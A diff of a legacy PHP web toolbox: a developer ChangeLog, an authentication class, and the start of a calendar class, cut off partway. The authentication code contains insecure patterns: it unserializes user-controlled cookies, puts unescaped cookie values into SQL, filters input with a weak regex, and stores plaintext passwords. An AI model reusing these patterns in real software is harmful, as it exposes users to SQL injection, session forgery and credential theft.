+2005-04-07 15:52 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: define for home page events
+
+2005-04-07 08:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updated comment and change meta_tag to get
+ 100 characters for the meta description
+
+2005-04-01 15:57 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: address
+
+2005-03-31 11:50 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: corrections on headers
+
+2005-03-30 14:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: remove \n from make_ul_menu code
+
+2005-03-30 08:11 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for page home
+
+2005-03-22 15:40 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: correct for imagenames
+
+2005-03-18 16:36 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: correcting ul menu function
+
+2005-03-18 16:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates
+
+2005-03-18 15:47 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, class_toolbox.inc: update
+
+2005-03-17 15:44 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: change name of get_parentid to reflect what
+ it really does
+
+2005-03-17 15:41 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: get parent
+
+2005-03-15 15:58 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-03-15 13:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, class_template.inc,
+ glm-Events-calendar-2-0.phtml: update for default
+
+2005-03-15 12:32 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding case for ws1 to goto root not
+ index.phtml
+
+2005-03-14 10:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, glm-Events-calendar-2-0.phtml: events
+
+2005-03-09 14:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: cannot use size again
+
+2005-03-09 13:54 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: image updates to set_img added new function
+ to get image path from ->img_size
+
+2005-02-28 10:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for error
+
+2005-02-27 15:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: modified for SEO_URL define and simplify the
+ generation of url's
+
+2005-02-18 11:47 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: modify to valid code
+
+2005-02-18 11:39 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: updates to conact form
+
+2005-02-18 10:29 raleigh
+
+ * class_template.inc: fixes to the print_ancestors method
+
+2005-02-18 10:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update breadcrumbs
+
+2005-02-10 10:31 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update
+
+2005-02-09 14:44 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: get_parentid comment update
+
+2005-02-09 10:48 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update for hide type
+
+2005-02-09 10:22 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: replace with
+
+2005-02-09 10:12 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: modify the action to use ['REQUEST_URL']
+
+2005-02-08 16:23 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: documenth the code
+
+2005-02-08 15:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: updates to contact form output error
+ messages
+
+2005-02-08 14:55 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: updates to contact form
+
+2005-02-03 15:45 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates for the template deluxe thing
+
+2005-02-02 16:28 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: template for the category stuff too
+
+2005-02-02 14:54 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: correction to imag alignment stuff
+
+2005-01-21 12:41 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_template.inc: contact form updates
+
+2005-01-20 14:36 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: updates to the auth class for some workouts
+
+2005-01-20 14:31 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc, class_template.inc: changes to photo class and
+ removing photo stuff from template class
+
+2005-01-20 14:21 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_tellfriend.inc: update changes to the tellfriend script
+
+2005-01-18 13:44 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update to correct some irrationals
+
+2005-01-18 13:15 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc, class_template.inc: adding define for deluxe
+ toolbox
+
+2005-01-14 13:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: seperate the photo stuff into new class
+
+2005-01-06 09:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: updating code STANDARDS and removing unused stuff
+ anything else can be added to a new extended class
+
+2005-01-05 16:33 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates on get_catid
+
+2005-01-05 16:30 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_tellfriend.inc: adding new class of tell a friend script
+
+2004-12-30 13:10 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: toolbox to this
+
+2004-12-29 15:47 raleigh
+
+ * class_template.inc: methods added, bugs fixed
+
+2004-12-21 13:13 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding a define for the active flag seems
+ that not all toolboxes use this so if set to true then it will
+ check for active = 't'
+
+2004-12-16 13:08 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: using id on the end of seo_url's
+
+2004-12-07 15:42 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2004-12-07 10:16 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: including more methods fgor getting catid
+
+2004-12-02 13:50 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding get_seo_url
+
+2004-11-30 15:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update image processing
+
+2004-11-30 12:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update no br clear all
+
+2004-11-19 13:46 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:48 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:40 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:25 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:21 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-19 09:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates that are much needed
+
+2004-11-16 10:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update adding # to not good in url
+
+2004-11-10 13:56 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: some corrections on spelling errors
+
+2004-11-10 13:42 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: some updates on the coding standard and putting the
+ category and listing seprate also in category id and listing
+ class
+
+2004-11-10 13:38 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc, class_template.inc: some updates on the coding
+ standard and putting the category and listing seprate also in
+ category id and listing class
+
+2004-10-05 14:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: changes to the url's for search engines
+
+2004-09-30 09:55 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates to get_category
+
+2004-09-30 09:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2004-09-30 08:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: document functions and rename to one style of
+ naming
+
+2004-09-17 12:08 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: add active check
+
+2004-08-02 13:11 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: Some edit on formating code and image upload
+
+2004-07-12 10:53 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: add title tags to images using name of item
+ or category of page
+
+2004-07-07 11:47 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: hello there people :)
+
+2004-07-07 11:26 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: hello there people :)
+
+2004-07-06 14:42 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: work updates
+
+2004-07-06 14:17 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for doc and parser functions
+
+2004-07-02 16:18 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: set_img function additions
+
+2004-07-02 16:01 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: use file as string
+
+2004-07-01 12:17 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2004-06-30 09:53 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: rebmove p and replace href
+
+2004-06-29 16:38 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2004-06-25 15:28 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update top and top2
+
+2004-06-14 12:50 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update remove michaywe stuff
+
+2004-04-29 10:16 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2004-04-27 16:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * glm-Events-2-0.phtml, glm-Events-calendar-2-0.phtml,
+ glm-Newsletter-2-0.phtml: adding glm outputp files
+
+2004-03-03 10:52 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: update db_exec part
+
+2003-11-26 16:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: cool mods to image layout with no tables
+
+2003-10-09 08:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update to GLOBALS
+
+2003-08-27 12:48 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc, class_contact_form.inc, class_db.inc,
+ class_template.inc, class_toolbox.inc: update on indenting
+
+2003-08-08 15:13 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_db.inc, class_search.inc,
+ class_template.inc: update to use phpdocs
+
+2003-08-08 15:08 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: change to phpdoc
+
+2003-08-08 15:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: adding Id string
+
+2003-08-08 15:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: auth class added
+
+2003-07-30 10:22 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_db.inc: GLM update
+
+2003-07-30 07:59 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding new set_address function
+
+2003-07-28 16:24 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: add fax
+
+2003-07-28 16:23 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: address update
+
+2003-07-09 13:43 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: use GLM_SERVER_ID
+
+2003-07-03 14:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update the from <name>
+
+2003-07-03 08:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: upgrades
+
+2003-07-02 10:20 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: using URL_BASE for nav links because of
+ secure elements
+
+2003-07-01 08:12 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: better way to break with images and text
+
+2003-06-26 10:20 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: making req fields work and setting
+ default mail_ok to Yes and req email
+
+2003-06-25 12:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: corrections on class template file
+
+2003-06-16 08:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: changing the set date function on the fields
+ that were strstr I changed all but file and image to be exact
+ matches of the string so there wouldn't be any messups with
+ contact and contactname or name and urlname.
+
+2003-06-11 14:15 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates
+
+2003-04-29 08:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_search.inc: search update on queries
+
+2003-04-24 10:30 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: add space between File and Download
+
+2003-03-18 12:06 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_search.inc, class_db.inc: Adding Id
+
+2003-03-18 12:06 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: Adding ID
+
+2003-03-18 12:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: adding Id
+
+2003-03-18 12:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: test
+
+2003-03-18 12:00 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: Adding Id and testing gvim cvs
+
+2003-03-18 08:48 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_search.inc, class_template.inc:
+ udpates (reindented and removed dos ending)
+
+2003-03-13 14:25 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: removed unneeded br's
+
+2003-03-10 08:08 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: correction on the use of DB class
+
+2003-02-28 16:08 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: remove the imagename
+
+2003-02-20 15:46 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: modes to template class removed d_close and
+ connect calls as these are taken care of already and bold the
+ title
+
+2003-02-20 11:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_toolbox.inc: adding contact_form
+ class
+
+2003-02-19 11:07 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates
+
+2003-02-03 16:28 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_search.inc, class_template.inc: changes
+
+2003-01-14 13:16 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update the script to put in the html help
+ page
+
+2003-01-14 13:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: updating the class_db with the ability to keep open
+ the database connection for all db_auto functions
+
+2003-01-10 09:20 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update of breakage on the description parts
+ for the items
+
+2003-01-02 10:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc, class_search.inc, class_template.inc: adding
+ classes to setup
+
--- /dev/null
+<?php
+/**
+ * Toolbox Classes :)
+ *
+ * <p>
+ * $Id: class_auth.inc,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+ * Authentication class. Enables different levels
+ * of authentication for users with one master(admin) user
+ * able to set up accounts for others and permissions based on different
+ * levels. Can be modified to use more levels. This is set up with four levels.
+ * </p>
+ * @package Toolbox Library
+ * @subpackage Authentication Library
+ * @filesource
+ *
+*/
+/**
+* Require DocBlock
+*/
+require_once( BASE.'classes/class_db.inc' );
+/**
+ * authuser
+ * <p>
+ * $Id: class_auth.inc,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+* Authentication class. Enables different levels
+ * of authentication for users with one master(admin) user
+ * able to set up accounts for others and permissions based on different
+ * levels. Can be modified to use more levels. This is set up with four levels.
+ * </p><p>
+ * Permissions are checked using bitwise operators so you can have custom permission
+ * levels per user. Thus an admin user with perms set to 15 would have all levels.</p>
+ * <code>CREATE TABLE authuser (
+ * id SERIAL,
+ * username text,
+ * password text,
+ * perms int
+ * );
+ * GRANT ALL ON authuser TO nobody;
+ * GRANT ALL ON authuser_id_seq TO nobody;
+ * </code>
+ *
+ * @package Toolbox Library
+ * @subpackage Authentication Library
+ * @author $Author: cscott $
+ * @copyright 2005
+ * @version $Revision: 1.1.1.1 $
+ * @since $Date: 2006/05/01 16:46:15 $
+ *
+ */
+
+class authuser {
+ /** @var auth session variable which holds user and permission data */
+ var $auth;
+ /** @var page - The present page your on */
+ var $page;
+ /** @var conn - db connection result identifier */
+ var $conn;
+ /** @var usertable - db table which holds the user data */
+ var $usertable;
+ /** @var constraint - User constrain for queries */
+ var $constraint;
+ /** @var cookie_name The name of the cookie var */
+ var $cookie_name;
+ /** @var cookie_exp The expire time (Seconds) for the cookie */
+ var $cookie_exp;
+ /** @var cookie_domain The domain of the cookie */
+ var $cookie_domain;
+ /** @var object DB database object */
+ var $DB;
+ /** @var rember bool if to create coockies for storing sessions */
+ var $remember;
+ /** @var $auth_data array to keep user info */
+ var $auth_data;
+
+ /** authuser
+ Class construtor. Set up the default variables for
+ the class.
+ */
+ function authuser()
+ {
+ $this->DB =& new GLM_DB();
+ $this->auth['perms'] = 1;
+ $this->page = $GLOBALS['PHP_SELF'];
+ $this->usertable = "authuser";
+ $this->cookie_name = "GLM_AUTH";
+ $this->cookie_exp = "2592000";
+ $this->cookie_domain = URL_BASE;
+ $this->fill_data();
+ }
+
+
+ /**
+ * fill_data:
+ *
+ * @return mixed
+ * @access public
+ **/
+ function fill_data()
+ {
+ if( $_SESSION['auth'] )
+ {
+ $this->auth_data =& $_SESSION['auth'];
+ return( $this->auth_data );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /** verify
+ Checks the user login. Checks the users IP address to be sure
+ it is not hijacked.
+ @param level - If a level is giving and the user doesn't match the
+ level then the page is not shown.
+ @return void
+ */
+
+
+ /**
+ * verify: verify the user
+ *
+ * <p>check the table in $this->usertable for user matching
+ * password and username and tells if passed or not
+ * </p>
+ * @param $NULL:
+ *
+ * @return boolean
+ * @access public
+ **/
+ function verify($level=NULL)
+ {
+ global $username,$password,$perms,$auth,$LOGOUT,$REMOTE_ADDR;
+ //$dbd = $this->connect();
+ /* Check to see if user is logging out */
+ if($LOGOUT)
+ {
+ $this->logout();
+ }
+
+ /* Check to see if GLM-AUTH cookie is set then check if
+ $auth is registered in session.
+ */
+ if($_COOKIE[$this->cookie_name])
+ {
+ $auth = unserialize(stripslashes($_COOKIE[$this->cookie_name]));
+ // double check the username and password only if the time is greater than checktime
+ $query = "SELECT password
+ FROM ".$this->usertable."
+ WHERE id = ".$auth['userid'];
+
+ if(!$res = $this->DB->db_exec($query))
+ {
+ echo "failed ->".$query;
+ }
+ $row = pg_fetch_array($res,0);
+ $pCheck = md5($row['password']);
+ if($pCheck != $auth['password'])
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ if(!$this->login())
+ {
+ $this->failed();
+ }
+ }
+
+ $this->auth = $auth;
+ session_register("auth");
+ setcookie($this->cookie_name,"",time() - 3600,$this->cookie_domain);
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ elseif(!session_is_registered("auth"))
+ {
+ return( false );
+ }
+ else
+ {
+ if($auth['siteid'] != $this->cookie_name)
+ {
+ return( false );
+ }
+ }
+
+
+
+ /* Refresh the perms */
+ $oldperms = $this->auth['perms'];
+ $qs = "SELECT perms
+ FROM ".$this->usertable."
+ WHERE id = ".$auth['userid'];
+
+ if(!$res = pg_exec($this->dbd,$qs))
+ {
+ echo "failed ->".$qs;
+ }
+ $this->auth['perms'] = pg_result($res,0,'perms');
+ if($level)
+ {
+ if($this->auth['perms'] & $level)
+ {
+ //echo "GOOD";
+ }
+ else
+ {
+ $this->failed("You cannot see this page(Not enough Permissions)");
+ }
+ }
+ return( true );
+ }
+
+ function sqlBypass( $text )
+ {
+ $text = eregi_replace('[();\'\"]','',$text);
+ return( $text );
+ }
+
+ /**
+ * login
+ *
+ * <p>User login funtcion. Now this will check for a cookie
+ * which can be set if the user selects remember my login.</p>
+ * @return boolean - True if login in successful False not.
+ */
+ function login()
+ {
+ global $auth,$remember_login,$bus_name;
+
+ if( isset( $_POST['username'] ) && $_POST['username'] != "" )
+ {
+ $qs = "SELECT *
+ FROM ".$this->usertable."
+ WHERE username = '".$this->sqlBypass($_POST['username'])."'
+ AND password = '".$this->sqlBypass($_POST['password'])."';";
+
+ if(!$res = $this->DB->db_exec($qs))
+ {
+ echo $qs;
+ }
+ if(pg_numrows($res)>0)
+ {
+ $row = pg_fetch_array($res,0,PGSQL_ASSOC);
+ $this->auth['uname'] = $row['fname'].' '.$row['lname'];
+ $this->auth['perms'] = $row['perms'];
+ $this->auth['ip'] = $_SERVER['REMOTE_ADDR'];
+ $this->auth['userid'] = $row['id'];
+ $this->auth['siteid'] = $this->cookie_name;
+ $_SESSION['auth'] =& $this->auth;
+ if( isset( $_POST['remember_login'] ) && $_POST['remember_login'] == "t" )
+ {
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ return(true);
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+
+
+ /**
+ * is_admin:
+ *
+ * <p>Tells if user is an admin user or not</p>
+ *
+ * @return boolean
+ * @access public
+ **/
+ function is_admin()
+ {
+ if( $_SESSION['auth']['admin'] == 't' )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /** login_screen
+ *
+ * <p>Outputs the login screen</p>
+ *
+ * @return void
+ * @access public
+ */
+ function login_screen()
+ {
+ $out = '<form action="'.$this->page.'" method="post">
+ <table width="400" align="center" summary="Header Information" cellpadding="0" cellspacing="0" border="0">
+ <tr valign=top align=left>
+ <td colspan="2">Forgot your password Click <a href="'.BASE_URL.'forgot.phtml">here</a>.</td>
+ </tr>';
+ if( $this->remember == true )
+ {
+ $out .= '<tr valign=top align=left>
+ <td colspan="2">Remember My Login!<input type="checkbox" name="remember_login" value="t"></td>
+ </tr>';
+ }
+ $out .= '<tr valign=top align=left>
+ <td colspan="2"> </td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Username:</td>
+ <td><input type="text" name="username"
+ value="';
+ if ( isset( $this->auth["uname"] ) )
+ {
+ $out .= $this->auth["uname"];
+ }
+ $out .= '" size=32 maxlength=32></td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Password:</td>
+ <td><input type="password" name="password" size=32 maxlength=32></td>
+ </tr>
+ <tr>
+ <td colspan="2"> </td>
+ <td align="right" colspan="2"><input type="submit" name="submit" value="Login now"></td>
+ </tr>
+ </table>
+ <p>';
+ if ( isset( $_GET['username']) )
+ {
+ $out .= '<!-- failed login code -->
+ <p>
+ <table>
+ <tr>
+ <td colspan=2><font color=red><b>Either your username or your password
+ are invalid.<br>
+ Please try again!</b></font></td>
+ </tr>
+ </table>';
+ }
+ $out .= '</table>
+ </form>
+ <script language="JavaScript">
+ <!--
+ if (document.forms[0][0].value != \'\')
+ {
+ document.forms[0][1].focus();
+ }
+ else
+ {
+ document.forms[0][0].focus();
+ }
+ // -->
+ </script>';
+ return( $out );
+ }
+
+ /** logout
+ Ends the current session and distroys any cookies that were
+ created
+ @return void
+ * @access public
+ */
+ function logout()
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ header("Location: index.phtml");
+ exit();
+ }
+
+ /** failed
+ Stop the script from going any further.
+ @param reply - string to show user if any.
+ @return void
+ * @access public
+ */
+ function failed($reply=NULL)
+ {
+ if(isset($reply))
+ {
+ die('<b>'.$reply.'</b>');
+ }
+ else
+ {
+ exit;
+ }
+ }
+}
+
+?>
--- /dev/null
+<?php
+ /**
+ * Toolbox Library for Calendar applications
+ *
+ * Class to build the events calendars both flat and by month view.
+ *
+ * @package Toolbox Library
+ * @subpackage Calendar Library
+ * @filesource
+ */
+ /**
+ * Toolbox Library for Calendar applications
+ *
+ * Class to build the events calendars both flat and by month view.
+ *
+ * @package Toolbox Library
+ * @subpackage Calendar Library
+ */
+class GLM_CALENDAR {
+ var $month;
+ var $year;
+ var $size;
+ var $href;
+ var $href2;
+ var $FT1;
+ var $FT2;
+ var $THCLR; // Weekday Title color
+ var $TDBS; // blank space color
+ var $NOTES; // not used
+ var $CALT; // Table title bar color
+ var $TBLCR; // Table title bar color
+ var $starting;
+
+ /**
+ * GLM_CALENDAR:
+ *
+ * @return viod
+ * @access public
+ **/
+ function GLM_CALENDAR()
+ {
+ $this->month = date("m");
+ $this->year = date("Y");
+ $this->size = 2;
+ $this->href = $GLOBALS["PHP_SELF"].'?month=';
+ $this->href2 = $GLOBALS["PHP_SELF"];
+ $this->FT1 = '<span class="content">';
+ $this->FT2 = '<h3>';
+ $this->THCLR = "#FFFAF0"; // Weekday Title color
+ $this->TDBS = "#e0e0e0"; // blank space color
+ $this->NOTES = "#FFFA00"; // not used
+ $this->CALT = ""; // Table title bar color
+ $this->TBLCR = ""; // Table title bar color
+ $this->starting = date("m-d-Y",mktime(23,59,59,$month,1,$year));
+ $this->output_string = "";
+ }
+
+ /**
+ * build_calendar
+ *
+ * Build the calendar :)
+ *
+ * @return string Calendar output
+ * @access public
+ **/
+ function build_calendar()
+ {
+
+ // Change to month/year to display
+ if( !isset( $this->month ) )
+ $this->month = date('m');
+ if( !isset( $this->year ) )
+ $this->year = date('Y');
+
+ $next = $this->month +1;
+ $next_year = $this->year;
+ $prev = $this->month -1;
+ $prev_year = $this->year;
+
+ if( $next == 13 )
+ {
+ $next = 1;
+ $next_year++;
+ }
+
+ if( $next == 0 )
+ {
+ $next = 12;
+ $next_year--;
+ }
+
+ if( $prev == 13 )
+ {
+ $prev = 1;
+ $prev_year++;
+ }
+
+ if( $prev == 0 )
+ {
+ $prev = 12;
+ $prev_year--;
+ }
+
+ $prev_month = "<TH ALIGN=LEFT WIDTH=30><A HREF=\"".$this->href.$prev."&year=".$prev_year."\"><-</A></TH>\n";
+ $next_month = "<TH ALIGN=RIGHT WIDTH=30><A HREF=\"".$this->href.$next."&year=".$next_year."\">-></A></TH>\n";
+
+
+ // How to display the titles on the header of the calendar
+ if( $this->size == 2 )
+ {
+ $height = 50;
+ $width = 60;
+ $table_width = 500 ;
+ $week_titles = array
+ (
+ 0 => "Sunday",
+ 1 => "Monday",
+ 2 => "Tuesday",
+ 3 => "Wednesday",
+ 4 => "Thursday",
+ 5 => "Friday",
+ 6 => "Saturday"
+ );
+ }
+ if( $this->size == 1 )
+ {
+ $height = 1;
+ $width = 1;
+ $table_width = 100;
+ $week_titles = array
+ (
+ 0 => "S",
+ 1 => "M",
+ 2 => "T",
+ 3 => "W",
+ 4 => "T",
+ 5 => "F",
+ 6 => "S"
+ );
+ }
+
+ // determine total number of days in a month
+ $totaldays = 0;
+ while ( checkdate( $this->month, $totaldays + 1, $this->year ) )
+ $totaldays++;
+
+ // build table
+ $this->output_string .= "<TABLE ALIGN=CENTER BORDER=2 CELLPADDING=0 CELLSPACING=0 WIDTH='.$table_width.' COLSPAN=7 BGCOLOR=\"$TBLCR\" ALIGN=RIGHT>\n";
+ $calendar = date( "F", mktime( 0, 0, 0, $this->month + 1, 0, $this->year ) );
+ $this->output_string .= "<TR BGCOLOR=\"$CALT\" HEIGHT=20>$prev_month<TH COLSPAN=5><span class=\"highlight\">".$calendar." ".$this->year."</span></TH>$next_month</TR>\n";
+ $this->output_string .= "<TR>\n";
+ //$this->output_string '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+
+ for ( $x = 0; $x < 7; $x++ )
+ {
+ $this->output_string .= "<TH WIDTH=\"$width\" BGCOLOR=\"$THCLR\"><span class=\"smtext\">".$week_titles[$x]."</span></TH>\n";
+ }
+ $this->output_string .= "</TR>\n";
+ // ensure that a number of blanks are put in so that the first day of the month
+ // lines up with the proper day of the week
+ $offset = date( "w", mktime( 0, 0, 0, $this->month, 0, $this->year ) ) + 1;
+ $this->output_string .= "<TR>\n";
+
+ if ( $offset > 0 && $offset != 7 )
+ $this->output_string .= str_repeat( "<TD WIDTH=\"$width\" HEIGHT=\"$height\" BGCOLOR=\"$TDBS\">$FT1 </FONT></TD>\n",$offset);
+ if( $offset == 7 )
+ $offset = 0;
+ // start entering in the information
+ for ( $day = 1; $day <= $totaldays; $day++ ) {
+ $this->output_string .= "<TD WIDTH=\"$width\" HEIGHT=\"$height\" VALIGN=TOP ALIGN=LEFT>$FT1";
+ /*
+ if(data( $this->month, $day, $this->year )){
+ $this->output_string .= "<a href=\"$href2\">";
+ }
+ */
+ $this->output_string .= $day;
+ /*
+ if(data( $this->month, $day, $this->year )){
+ $this->output_string .= "</a>";
+ }
+ */
+ $this->output_string .= "</FONT>";
+ $this->output_string .= "<BR>\n";
+ if( $size == 2 )
+ {
+ //get_data( $this->month, $day, $this->year );
+ }
+ $this->output_string .= "</TD>\n";
+ $offset++;
+
+ // if we're on the last day of the week, wrap to the other side
+ if ( $offset > 6 )
+ {
+ $offset = 0;
+ $this->output_string .= "</TR>\n";
+ if ( $day < $totaldays )
